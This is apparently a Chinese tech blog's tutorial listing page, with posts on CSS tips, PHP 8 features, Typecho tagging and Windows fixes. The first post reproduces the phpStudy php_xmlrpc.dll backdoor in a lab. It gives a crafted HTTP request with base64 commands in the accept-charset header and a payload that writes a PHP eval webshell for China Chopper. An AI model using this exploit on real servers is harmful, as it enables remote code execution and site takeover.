REC
首页
文章分类
源码资源
技术教程
程序软件
文创娱乐
玄学修炼
关于我们
其他页面
网站统计
友情链接
用户留言
高清壁纸
关于易航
热门文章
Joe再续前缘主题 - 搭建本站同款网站
易航网址导航系统 – 功能强大,轻量易用
JsonDb-PHP轻量级文件数据库系统
Typecho一键调整网站为冬天情景插件
V免签全开源免签约码支付系统(支持:支付宝 微信 QQ)
标签搜索
PHP
Web前端
网站源码
PHP源码
Typecho
Typecho插件
课程资料
Windows程序
Android软件
武术内功
HTML源码
Web
Joe主题
Python
Windows
国漫
网络协议
MySQL
NodeJs
小说
发布
登录
注册
找到
144
篇与
技术教程
相关的结果
2025-02-03
小皮面板 phpstudy 后门漏洞
phpstudy 软件是国内的一款免费的 PHP 调试环境的程序集成包,通过集成 Apache、PHP、MySQL、phpMyAdmin、ZendOptimizer 多款软件一次性安装,无需配置即可直接安装使用,具有 PHP 环境调试和 PHP 开发功能,在国内有着近百万 PHP 语言学习者、开发者用户。但是存在后门漏洞,可直接 getshell。 图片 漏洞存在版本: phpStudy2016 php\php-5.2.17\ext\php_xmlrpc.dll php\php-5.4.45\ext\php_xmlrpc.dll phpStudy2018 PHPTutorial\php\php-5.2.17\ext\php_xmlrpc.dll PHPTutorial\php\php-5.4.45\ext\php_xmlrpc.dll 准备工作: 服务器:192.168.29.135(Windows server 2008 SP2) phpStudy2016(php-5.4.45+Apache) 一.漏洞环境搭建 1.下载 phpStudy2016 版的 phpstudy,启动后切换至 php-5.4.45+Apache 版本 图片 2. 查看服务器的 IP 地址 图片 3. 直接访问 http://192.168.29.135/ ,可得到以下界面(以下界面是自行配置的index.php界面,可根据情况自行配置) 图片 二.漏洞成因 1. 查看文件 C:\phpStudy\php\php-5.4.45\ext\php_xmlrpc.dll(这是我的安装路径,根据实际的安装情况查看安装路径),Ctrl+F 查找关键字 @evel,找到了 @eval(%s('%s'));,这也是漏洞的成因。 图片 三.漏洞复现 1.访问 URL:http://192.168.29.135/,进行抓取数据包操作,并且将其发送到repeater模块 图片 2.添加 Accept-Encoding 和 accept-charset 参数 注意事项: 如果没有 Accept-Encoding 这个参数,需要手动加上,并且注意“gzip”和“deflate”之间存在一个逗号,并且中间没有空格。 需要手动加上:accept-charset:执行命令的 base 64 编码 echo system("net user"); 的 base64 编码为 ZWNobyBzeXN0ZW0oIm5ldCB1c2VyIik7 GET / HTTP/1.1 Host: 192.168.29.135 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,\*/\*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding:gzip,deflate accept-charset:ZWNobyBzeXN0ZW0oIm5ldCB1c2VyIik7 Connection: close Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0执行结果为: 图片 3.构造一句话木马写入到 web 路径下: fputs(fopen('C:\\phpStudy\\WWW\\xx.php','w'),'<?php@eval($\_POST\[1\])?>');4.将构造的语句进行 base64 加密 ZnB1dHMoZm9wZW4oJ0M6XHBocFN0dWR5XFdXV1x4eC5waHAnLCd3JyksJzw/cGhwIEBldmFsKCRfUE9TVFsxXSk/PicpOw== 修改 accept-charset 的参数值,写入一句话木马 图片 5.查看服务器端是否将文件写入 图片 6.使用菜刀进行连接操作,URL:http://192.168.29.135/xx.php,密码为1 图片
技术教程
# PHP
易航
1天前
0
8
1
2025-02-03
掌握这 8 个技巧,让你的 CSS 代码更简洁优雅
写出简洁优雅的 CSS 代码不仅能提高代码的可维护性,还能减少样式冲突。本文将介绍 8 个实用技巧,帮你提升 CSS 代码质量。 1. 善用 CSS 变量,提升代码复用性 图片 使用 CSS 变量的好处: 集中管理主题色值 一处修改,处处生效 支持运行时动态修改 提高代码可维护性 2. 使用 :is() 和 :where() 简化选择器 /* 之前的写法 */ .card h2, .card h3, .card h4, .card h5, .card h6 { margin-bottom: 16px; } /* 使用 :is() 简化后 */ .card :is(h2, h3, h4, h5, h6) { margin-bottom: 16px; } /* 使用 :where() 降低优先级 */ :where(.card, .panel, .box) p { line-height: 1.5; }这个技巧可以: 减少代码重复 提高代码可读性 灵活控制选择器优先级 3. 巧用 aspect-ratio 控制宽高比 /* 常见的 16:9 视频容器 */ .video-container { width: 100%; aspect-ratio: 16 / 9; background: #000; } /* 保持正方形的头像容器 */ .avatar { width: 100px; aspect-ratio: 1; object-fit: cover; border-radius: 50%; }这个属性特别适合: 响应式图片布局 视频容器 卡片网格布局 保持元素固定比例 4. 使用 clamp() 实现响应式数值 .title { /* 最小 16px,最大 32px,基于视窗宽度动态计算 */ font-size: clamp(16px, 4vw, 32px); } .container { /* 响应式内边距 */ padding: clamp(1rem, 3vw, 3rem); /* 响应式宽度 */ width: clamp(320px, 80vw, 1200px); }clamp() 的优势: 无需媒体查询 平滑过渡 代码更简洁 避免内容溢出 5. 使用 gap 属性简化布局间距 .grid-container { display: grid; grid-template-columns: repeat(auto-fit, minmax(250px, 1fr)); gap: 20px; } .flex-container { display: flex; flex-wrap: wrap; gap: 16px; /* 可以分别设置行列间距 */ /* gap: 16px 24px; */ }gap 属性的优点: 替代传统的 margin 更容易维护间距 支持 flex 和 grid 布局 避免临边距叠加问题 6. 使用逻辑属性适配不同书写方向 .container { /* 替代 margin-left/right */ margin-inline: auto; /* 替代 padding-top/bottom */ padding-block: 2rem; /* 替代 width */ inline-size: 100%; /* 替代 height */ block-size: auto; }逻辑属性的优势: 更好的国际化支持 适应不同书写模式 代码更具语义化 简化 RTL 适配 7. 使用 :has() 实现父元素选择 /* 当卡片包含图片时应用样式 */ .card:has(img) { padding: 0; } /* 当表单存在错误输入时改变样式 */ .form:has(:invalid) { border-color: red; } /* 调整空列表的样式 */ ul:not(:has(li)) { display: none; }:has() 选择器的应用场景: 基于子元素状态修改父元素 实现复杂的条件样式 减少 JavaScript 的使用 提高样式的动态性 8. 使用 @layer 管理样式优先级 @layer base, components, utilities; @layer base { h1 { font-size: 2rem; margin-bottom: 1rem; } } @layer components { .button { padding: 0.5rem 1rem; border-radius: 4px; } } @layer utilities { .text-center { text-align: center; } }@layer 的优势: 明确的样式优先级 更好的代码组织 避免优先级混乱 便于维护大型项目 欢迎大家留言补充。
技术教程
# Web前端
易航
2天前
0
9
0
2025-02-03
iPhone 开通微信 CallKit 教程
iPhone 开通微信 CallKit 教程 想要在 iPhone 上体验微信的 CallKit 功能,提升通话体验?以下是详细的开通教程和注意事项。 开通步骤 1. 退出微信账号 首先,退出当前登录的微信账号。这一步是为了确保后续操作能够正常进行。 2. 让好友拨打电话 让任意微信好友给退出的微信账号拨语音电话。语音电话需要打到超时,语音和视频通话均可。等待提示“对方无应答”之后,重新登录微信账号。为了确保操作成功,建议拨打 2 次以上。 3. 降级微信版本 使用爱思助手将微信版本降级到 8.0.54。这个版本的 CallKit 功能是满血状态,能够提供更好的通话体验。 适用范围 上述教程适用于 iOS 17.4+ 系统。 版本对比 微信 8.0.56 版本 使用的是 LiveKit,锁屏时弹窗显示在灵动岛位置,无法保留最近通话记录。 微信 8.0.54 版本 使用的是 CallKit,锁屏时显示在系统通话界面,能够保留最近通话记录,并支持回拨(会跳转到微信界面)。 功能特点 LiveCommunicationKit(灵动岛) 不需要微信常驻后台,锁屏时也能收到弹窗通知。 拒接操作方便,且不会污染系统通话记录。 CallKit 需要微信常驻后台,锁屏时显示在系统通话界面。 能够保留通话记录并支持回拨。 推荐建议 从交互体验来看,灵动岛的拒接操作更方便,且不会污染系统通话记录。因此,如果您的需求不是特别刚需,建议直接使用 LiveKit,无需折腾降级微信版本。 注意事项 备份数据:在降级微信版本之前,请确保备份好所有重要数据,避免数据丢失。 使用正版工具:请确保使用正版的爱思助手或其他降级工具,避免使用来路不明的软件,以免对设备造成损害。 检查网络连接:在操作过程中,请确保设备连接到稳定的网络,避免因网络问题导致操作失败。 更多资源可以在我的博客找到:6v6.ren。欢迎访问,获取更多实用教程和技巧。 希望这些内容对您有所帮助!如果您在操作过程中遇到任何问题,欢迎随时留言咨询。 图片示例 https://tupian.6v6.ren/i/2025/02/03/679fa2d2c7d88.jpg图片 希望这些内容符合你的要求!如果有任何需要调整的地方,请随时告诉我。
技术教程
教主
2天前
0
7
0
2025-02-02
2025 年揭穿 PHP 的真相:10 个深入人心的错误 “神话”
在编程语言的江湖中,PHP 一直是一位备受争议又不可或缺的角色。2025 年,当我们重新审视 PHP 时,会发现有许多关于它的顽固神话依然在流传。下面,就让我们来一一揭穿这些神话。 1、PHP 已经过时 很多人认为,随着新兴编程语言的崛起,PHP 已经日薄西山。 然而,事实并非如此。据 W3Techs 统计,2024 年全球仍有 76.4%的网站在使用 PHP。像 WordPress、Drupal 和 Joomla 等主流 CMS 平台都是基于 PHP 构建的,PHP 在 Web 开发领域的根基依然牢固。 2、PHP 性能低下 过去,PHP 的性能可能确实存在一些问题,但随着 PHP 8.x 版本的发布,情况有了极大的改变。PHP 8.x 引入了 JIT 编译器,大幅提升了执行速度,尤其在数值计算和循环操作方面表现出色,在处理高负载任务时也能游刃有余,与 Python、Node.js 等语言相比并不逊色。 3、PHP 不适合大型项目 有人觉得 PHP 只适合小型项目,难以应对大型项目的复杂需求。实际上,Laravel、Symfony、Laminas 等成熟的 PHP 框架,为构建大型、复杂的应用提供了强大的工具和支持。它们具备 MVC 架构、ORM 技术、中间件等先进特性,能够很好地实现项目的可维护性和可扩展性。 4、PHP 代码难以维护 不可否认,不规范的 PHP 代码可能会带来维护难题,但这并不意味着 PHP 本身的问题。通过遵循 PSR 等社区制定的编码规范,使用 PHPUnit 进行单元测试,利用 PHP-CS-Fixer 进行代码自动格式化等工具,可以有效提高 PHP 代码的质量和可维护性。 5、PHP 缺乏现代语言特性 PHP 从诞生以来一直在不断发展和进化。PHP 8.x 引入了联合类型、Fibers 和异步编程等现代语言特性,增强了代码的可读性和安全性,使 PHP 能够更好地适应现代开发需求。 6、PHP 社区不活跃 PHP 拥有一个庞大且活跃的开发者社区。社区中不仅有丰富的开源项目、框架和库,还能为开发者提供及时的支持和帮助。开发者们可以在社区中分享经验、交流技术,共同推动 PHP 的发展。 7、PHP 无法与新技术集成 在 2025 年,PHP 积极支持与 Node.js、Python 等其他语言的集成,也能很好地融入云原生、serverless 等新的技术架构中,拓展了自身的应用范围,并非与新技术脱节。 8、PHP 不适合高并发场景 传统上,PHP 在高并发处理方面可能存在短板,但随着 Swoole 等扩展的出现,PHP 具备了异步协程的能力,能够有效地处理高并发请求,在高并发场景下也有了更多的用武之地。 9、PHP 开发者就业前景不佳 市场调研显示,PHP 的就业市场份额高达 82%,在 Web 开发和内容管理系统领域的需求依然强劲,为 PHP 开发者提供了良好的职业前景。掌握 PHP 技能的开发者,在就业市场上仍然具有一定的竞争力。 10、PHP 学习价值不高 对于想要进入 Web 开发领域的人来说,学习 PHP 仍然具有很高的价值。它不仅可以帮助开发者快速上手 Web 项目开发,还能让开发者深入了解 WordPress 等流行 CMS 平台的开发,为进一步学习和发展打下坚实的基础。 图片 2025 年的 PHP,依然在 Web 开发领域散发着独特的光芒。它不断地发展和进步,用实力打破一个又一个的神话。作为开发者,我们应该以客观、全面的视角去认识和了解 PHP,充分发挥它的优势,为技术的发展和创新贡献力量。
技术教程
# PHP
易航
2天前
0
14
0
2025-02-02
在 Typecho 中实现通过输入“#标签”自动填充标签功能
在 Typecho 中使用 Joe 编辑器时,实现通过输入“#标签”自动填充标签功能,可以通过以下几种方法实现: 方法一:使用 AutoTags 插件 AutoTags 是一款专为 Typecho 设计的开源插件,能够自动提取文章中的关键词并生成标签。虽然它不是直接通过“#标签”来实现自动填充,但它可以根据文章内容智能生成相关标签,非常实用。 安装步骤: 1. 克隆仓库:通过 Git 将 AutoTags 项目下载到你的 Typecho 插件目录下: git clone https://github.com/DT27/AutoTags.git2. 启用插件:登录你的 Typecho 管理后台,进入“控制台”->“插件”,找到名为“AutoTags”的插件并点击启用。 3. 配置插件(可选):进入插件设置页面调整默认生成标签的数量等选项。 方法二:使用 TagSelector 插件 TagSelector 是一款增强后台标签功能的插件,支持标签展示和选择。虽然它不能直接实现通过“#标签”自动填充,但它可以让你在后台编辑文章时更方便地选择已有的标签。 安装步骤: 下载插件:从 Typecho 插件库下载 TagSelector 插件。 上传插件:将下载的插件文件夹 TagSelector 上传到 Typecho 的插件目录(usr/plugins/)。 启用插件:在 Typecho 后台插件管理页面启用 TagSelector 插件。 方法三:自定义代码实现 如果你希望直接通过输入“#标签”来实现自动填充,可以通过自定义代码的方式实现。以下是一个简单的实现方法: 实现步骤: 1. 编辑主题文件:在你的主题文件夹中找到 functions.php 文件,如果没有则创建一个。 2. 添加代码:在 functions.php 文件中添加以下代码: function autoTags($content) { preg_match_all('/#(\w+)/', $content, $matches); $tags = array_unique($matches[1]); return implode(',', $tags); }3. 修改文章发布逻辑:在 admin/write-post.php 文件中找到标签输入框的代码: <p><input id="tags" name="tags" type="text" value="<?php $post->tags(',', false); ?>" class="w-100 text" /></p>在其下方添加以下代码: <script> document.getElementById('text').addEventListener('input', function() { var content = this.value; var xhr = new XMLHttpRequest(); xhr.open('POST', '<?php echo Typecho_Common::url('action/write-post.php', Typecho_Common::getOptions()->index); ?>', true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.send('do=autoTags&content=' + encodeURIComponent(content)); xhr.onload = function() { if (xhr.status === 200) { document.getElementById('tags').value = xhr.responseText; } }; }); </script>4. 处理自动标签逻辑:在 admin/write-post.php 文件中找到 do=autoTags 的处理逻辑,添加以下代码: if (isset($_POST['do']) && $_POST['do'] == 'autoTags') { header('Content-Type: text/plain'); echo autoTags($_POST['content']); exit; }博客:6v6.ren 通过以上方法,你可以实现通过输入“#标签”自动填充标签的功能,提升你的写作体验。
技术教程
# Typecho
# Typecho插件
教主
3天前
0
7
0
2025-01-30
CSS view():JavaScript 滚动动画的终结者
每当我与 UI/UX 设计师开完会,他们要求我实现滚动动画时,我内心都忍不住想大声尖叫。为什么?因为我讨厌实现滚动动画。虽然它看起来很棒,实现起来也“相当简单”,但它有许多需要处理的怪癖,尤其是当涉及多个动态元素时。但当客户要求那些花哨的“滚动时淡入”效果时,你能怎么办?你只能卷起袖子写一些 JavaScript,即使这让你内心崩溃。 JavaScript 时代(黑暗时期) 以下是我曾经写过的代码(如果你还在这样做,我理解你的痛苦): window.addEventListener('scroll', () => { const elements = document.querySelectorAll('.fade-in'); elements.forEach((element) => { const elementTop = element.getBoundingClientRect().top; const windowHeight = window.innerHeight; if (elementTop < windowHeight * 0.8) { element.style.opacity = '1'; element.style.transform = 'translateY(0)'; } }); });我要么改变 CSS 属性,要么为具有动画属性的元素添加类,让它执行一些“魔法”。有趣的是,我还必须实现反向操作。这很丑陋,我讨厌它。可怜的浏览器每次滚动事件都要处理这些计算。有时我甚至能听到它的“哭泣”。在移动设备上,电池指示器会像自由落体一样下降。 在积累了一些 JavaScript 经验后,我使用防抖来减少需要运行的计算次数。当然,这稍微好了一些,但这不可能是最好的解决方案,对吧? 发现 Intersection Observer(一线希望) 然后我发现了 Intersection Observer API。终于,有了更好的东西!我不再需要不断检查滚动位置,而是可以告诉浏览器:“嘿,当这个东西变得可见时告诉我”: const observer = new IntersectionObserver( (entries) => { entries.forEach((entry) => { if (entry.isIntersecting) { entry.target.classList.add('visible'); observer.unobserve(entry.target); // 触发后不再观察! } }); }, { threshold: 0.2 } ); document.querySelectorAll('.animate-on-scroll').forEach((el) => observer.observe(el));结合一些 CSS: .animate-on-scroll { opacity: 0; transform: translateY(20px); transition: all 0.6s ease-out; } .animate-on-scroll.visible { opacity: 1; transform: translateY(0); }这确实好多了!但仍然……缺少了一些东西。动画要么开启,要么关闭——没有基于滚动位置的平滑控制。当客户要求那些超级平滑的视差效果或渐进式显示时,我又回到了编写复杂 JavaScript 或使用网上找到的 CSS 技巧的老路上。 然后一切都变了:view() 函数 然后,像 CSS 之神的礼物一样,我发现了 view()。天哪,看看这个: @keyframes fadeIn { from { opacity: 0; transform: translateY(20px); } to { opacity: 1; transform: translateY(0); } } .fade-in { animation: fadeIn linear; animation-timeline: view(); /* 关键所在 */ animation-range: entry 10% cover 30%; /* 细节控制 */ }就这样!没有 JavaScript,没有事件监听器,没有性能噩梦。只有如丝般顺滑的滚动响应动画。 最棒的部分? 你知道最神奇的是什么吗?性能。那些旧的 JavaScript 滚动处理程序会让我的 MacBook 风扇像要起飞一样疯狂旋转。但 view()?即使在移动设备上,也如丝般顺滑。浏览器处理所有繁重的工作,所有操作都在合成器线程上运行(这是一个花哨的说法,意思是“非常快”)。 根据我们的性能测试: 动画类型CPU 使用率平均 FPS内存占用JavaScript38%4512MBIntersectionObserver22%558MBCSS view()5%601MB而且,它只是……有效。不再需要调试为什么动画在错误的时间触发,或者为什么滚动位置计算偏差了几个像素。当有很多动画元素时,不再有“滚动卡顿”。它只是有效。 深入理解 CSS view() 函数 CSS view() 函数的引入标志着我们处理滚动驱动动画方式的重大转变。让我们深入了解这个强大的功能,并理解为什么它正在彻底改变网页动画。 animation-timeline: view() view() 的核心是基于元素在视口中的可见性创建一个进度时间轴。你可以将其视为一个虚拟时间轴,随着元素进入视口而向前移动,随着元素退出视口而向后移动。 .element { animation-timeline: view(); }你可以自定义视口的测量方式: /* 为视口检测添加边距 */ animation-timeline: view(block 10px); /* 垂直边距 */ animation-timeline: view(inline 50%); /* 水平边距 */ animation-timeline: view(10px 20px 30px 40px); /* 所有边距 */理解 animation-range animation-range 属性定义了动画相对于元素在视口中的位置开始和结束的时间。就像为动画设置检查点。 实际应用场景: 1. 渐进式图片加载 @keyframes progressive-load { 0% { filter: blur(20px); scale: 1.1; } 100% { filter: blur(0); scale: 1; } } .lazy-image { animation: progressive-load linear; animation-timeline: view(); animation-range: entry 10% cover 50%; }2. 分步式文字浮现 @keyframes staggered-text { 0% { opacity: 0; transform: translateX(-50px); } 20% { opacity: 1; transform: translateX(0); } 80% { opacity: 1; transform: translateX(0); } 100% { opacity: 0; transform: translateX(50px); } } .staggered-text { animation: staggered-text linear; animation-timeline: view(); animation-range: entry 0% exit 100%; }3. 动态进度条 @keyframes progress-bar { from { width: 0%; } to { width: 100%; } } .progress-bar { animation: progress-bar linear; animation-timeline: view(); animation-range: entry cross(10% 20%); }高级技巧 1. 多时间轴组合 .card { --rotate-axis: 30deg; animation: rotate linear, scale ease-in-out; animation-timeline: view(), scroll(root block); animation-range: entry 0% cover 50%, entry 10% cover 90%; }2. 嵌套动画控制 .parent-element { animation-timeline: view(); } .child-element { animation-delay: calc(parent-animation-progress * 0.2s); }3. 视差滚动系统 .parallax-layer { animation: translate linear; animation-timeline: view(); } .layer-1 { animation-range: entry 0% cover 100%; } .layer-2 { animation-range: entry 10% cover 90%; } .layer-3 { animation-range: entry 20% cover 80%; }浏览器支持与渐进增强 截至 2024 年 12 月,推荐使用以下兼容方案: @supports (animation-timeline: view()) { /* 现代浏览器样式 */ } @supports not (animation-timeline: view()) { /* 回退方案 */ .fallback { transition: all 0.5s ease; } /* 使用 IntersectionObserver 添加 .active 类 */ }推荐使用 @scroll-timeline polyfill 为旧浏览器提供基本支持。 未来展望 即将推出的 CSS 滚动驱动动画规范将带来更多激动人心的特性: scroll() 时间轴类型 时间轴范围自定义单位(svh, lvw) 动画相位控制(animation-phase) 时间轴事件监听(实验性提案) 这些新功能将使创建如下效果成为可能: 基于滚动速度的动画 分页滚动动画 嵌套滚动容器联动 总结 CSS view() 的出现不仅改变了我们实现滚动动画的方式,更重新定义了网页动画的可能性边界。从简单的淡入效果到复杂的视差系统,现在都可以用声明式的简洁语法实现。虽然浏览器支持仍在推进中,但现代前端开发者应该: 优先使用 CSS view() 实现基础动画 使用 JavaScript 作为高级交互的补充 始终考虑渐进增强策略 定期关注 Scroll-driven Animations 规范 的更新 下次设计师再提出复杂的滚动动画需求时,你可以微笑着打开 CSS 文件——那些需要复杂 JavaScript 才能实现的效果,现在可能只需要几行优雅的 CSS 代码。 图片 如果您觉得内容对您有帮助,欢迎在看、点赞、分享 ⬇️❤️⬇️
技术教程
# Web前端
易航
6天前
0
18
0
2025-01-29
轻松掌握 PHP 8 新特性:15 个实用示例助你快速上手
1、命名参数:一种允许开发者通过参数名称而非位置顺序将参数传递给函数的特性。这种特性提供了更高的灵活性和可读性,使得函数调用更加清晰、直观。 function greet($name, $age) { echo "Hello $name, you are $age years old."; } greet(age: 25, name: "John");2、Union Types:允许为函数参数、返回类型等指定多种可能的类型,从而增强代码的灵活性和可重用性。 function foo(string|int $value): void { echo $value; }3、Match 表达式:一个更通用且简洁的语句选择,作为 switch 语句的理想替代品。 $result = match ($value) { 1 => "One", 2 => "Two", default => "Other", };4、Nullsafe 运算符:为简化在嵌套对象中对属性和方法的访问,特别是在可能遇到空值(null)的情况下,提供了一种优雅且高效的解决方案。通过使用 Nullsafe 运算符,开发者能够避免繁琐的 null 检查,使代码更加简洁、易读和健壮。 $length = $obj?->getProperty()?->getLength();5、属性:一种用于向类、方法和函数添加元数据的强大工具,通过它们可以扩展和定制代码的行为和功能。 #[Route("/user/{id}")] class UserController { #[HttpGet("/info")] public function getInfo($id) {} }6、构造函数属性提升:一种简洁而高效的语法,用于在类的构造函数中声明和初始化属性。 class Person { public function __construct(public string $name, public int $age) {} }7、弱映射:是一种特殊类型的映射结构,它允许我们使用对象作为键(key)来存储和检索值(value),而不会阻止这些键对象被垃圾收集机制回收。 这意味着,当没有其他引用指向这些键对象时,它们可以被自动清理,从而释放内存空间。这种机制在处理循环引用和内存管理时特别有用,可以避免内存泄漏和不必要的内存占用。 $map = new WeakMap(); $map[$obj] = "value";8、新的static返回类型:现在支持作为static方法的返回类型,它表示该方法将返回一个调用类的实例。 class A { public static function getInstance(): static { return new static(); } }9、表达式抛出:在表达式中允许抛出异常,这一特性在三元运算符中尤为实用。 $result = $value > 0 ? $value : throw new InvalidArgumentException("Invalid value");10、Stringable 接口:通过实现 Stringable 接口,对象可以定义自己的 toString() 方法,从而将其转换为字符串表示形式。 class MyClass implements Stringable { public function __toString(): string { return "MyClass"; } }11、get_debug_type() 函数的主要功能是:返回给定变量的类型信息,以字符串的形式呈现,包括对象的具体类名。通过调用此函数,您可以轻松获取并了解变量在程序运行时的精确类型,从而有助于调试和排错。 $type = get_debug_type($var);12、str_contains() 函数的功能是:在指定的字符串中搜索另一个字符串的存在性,以确定第一个字符串是否包含第二个字符串。如果第一个字符串包含第二个字符串,则该函数返回 True;否则,返回 False。这是一个非常实用的字符串操作函数,经常用于文本处理、数据分析和模式匹配等场景。 if (str_contains($haystack, $needle)) { echo "Found"; }13、str_starts_with() 和 str_ends_with() :是两个用于检查字符串是否以特定子字符串开头或结尾的实用函数。这些函数在字符串处理中非常有用,因为它们可以帮助我们快速确定一个字符串是否符合特定的格式或标准。 if (str_starts_with($string, $prefix)) { echo "Starts with prefix"; }14、fdiv()函数:主要功能是执行浮点数除法运算,并返回相应的浮点结果。 该函数接收两个浮点数作为参数,并返回它们的商,以便用户可以在程序中执行精确的数学计算。无论是正数、负数、零还是非数字(NaN)等特殊情况,fdiv()函数都能准确处理并返回正确的浮点结果。 $result = fdiv(10.0, 3.0);15、@非异常错误运算符:允许用户抑制非异常性错误,如通知和警告信息,以便更流畅地处理其他重要任务。 $value = @some_function(); // Suppress errorsThese features offer improvements in terms of performance, readability, and ease of use in PHP 8.图片
技术教程
# PHP
易航
6天前
0
21
0
2025-01-28
在日常生活中遇到不良信息如何屏蔽和举报?
在这个人人一部手机的时代,我们在网上冲浪时难免会看到一些,不良信息或违法犯罪信息,包括骚扰电话和骚扰短信信息,那么我们应该怎么办呢? 今天博主整理了一些举报平台,大家可以自行前往进行投诉举报\ 违法和不良信息举报中心:点击直达\ 网络违法犯罪举报网站:点击直达\ 中国扫黄打非网:点击直达\ 中国互联网金融举报信息平台:点击直达\ 全国 12315 平台:点击直达\ 12321 网络不良与垃圾信息举报受理中心:点击直达\ 12337 智能化举报平台:点击直达 若大家有更好的办法,欢迎留言投稿,以上信息希望对大家有帮助
技术教程
教主
1月28日
0
12
0
2025-01-28
解决 Windows 10 中“显示无效开关 - 'force'”的问题
在使用 Windows 10 时,如果尝试通过命令行运行 gpupdate /force 来强制更新组策略,但系统提示“显示无效开关 - 'force'”,这可能是由多种原因导致的。以下是一些可能的原因及解决方法,帮助你快速解决问题。 一、检查命令格式 首先,确保你在命令提示符中输入的命令格式完全正确。正确的命令格式为: gpupdate /force 如果输入了多余的空格、符号或大小写错误,可能会导致“无效开关”的错误提示。建议仔细检查并重新输入命令。 二、确认系统版本支持组策略功能 Windows 10 家庭版默认不支持组策略编辑器(gpedit.msc)和相关命令,因此无法使用 gpupdate 命令。如果你使用的是 Windows 10 家庭版,可以通过以下方法启用组策略功能: 启用组策略功能的步骤 创建批处理文件: 打开记事本,将以下代码复制到其中: @echo offpushd "%~dp0"dir /b %systemroot%\Windows\servicing\Packages\Microsoft-Windows-GroupPolicy-ClientExtensions-Package~3*.mum >gp.txtdir /b %systemroot%\servicing\Packages\Microsoft-Windows-GroupPolicy-ClientTools-Package~3*.mum >>gp.txtfor /f %%i in ('findstr /i . gp.txt 2^>nul') do dism /online /norestart /add-package:"%systemroot%\servicing\Packages\%%i"pause将该文件保存为 .bat 文件,例如命名为 enable_gpedit.bat。 运行批处理文件: 右键单击保存的 .bat 文件,选择“以管理员身份运行”。运行过程中可能会提示安装相关功能,完成后即可启用组策略功能。 三、检查网络连接和域控制器 如果你的计算机连接到域,但网络连接不稳定或无法访问域控制器,可能会导致 gpupdate /force 命令失败。你可以通过以下步骤检查和修复: 检查网络连接 打开命令提示符(以管理员身份),输入以下命令检查与域控制器的连接: ping -n 4 <域控制器IP地址> 如果无法连接,检查网络设置或联系网络管理员。 确保 DNS 设置正确。在命令提示符中输入以下命令:ipconfig /all 查看 DNS 服务器地址是否正确。 四、以管理员身份运行命令提示符 确保你以管理员身份运行命令提示符。右键点击“开始”按钮,选择“命令提示符(管理员)”,然后再次运行 gpupdate /force 命令。 五、删除组策略配置文件 如果上述方法仍然无法解决问题,可以尝试删除组策略配置文件,然后重新启动计算机。具体步骤如下: 打开命令提示符(以管理员身份),输入以下命令删除组策略配置文件: RD /S /Q "%WinDir%\System32\GroupPolicyUsers" RD /S /Q "%WinDir%\System32\GroupPolicy" 重启计算机,让系统重新生成组策略配置文件。 六、其他建议 如果问题仍然存在,建议进一步检查系统设置或联系技术支持。以下是一些可能的替代方法: 检查系统激活状态:未激活的系统可能会导致某些功能受限。尝试重新激活 Windows。 更新系统:确保系统已更新到最新版本,有时系统更新可以修复此类问题。 创建新用户账户:有时系统账户可能存在问题。尝试创建一个新的用户账户,看是否在新账户下问题仍然出现。
技术教程
# Windows
教主
1月28日
0
12
0
1
2
...
16
下一页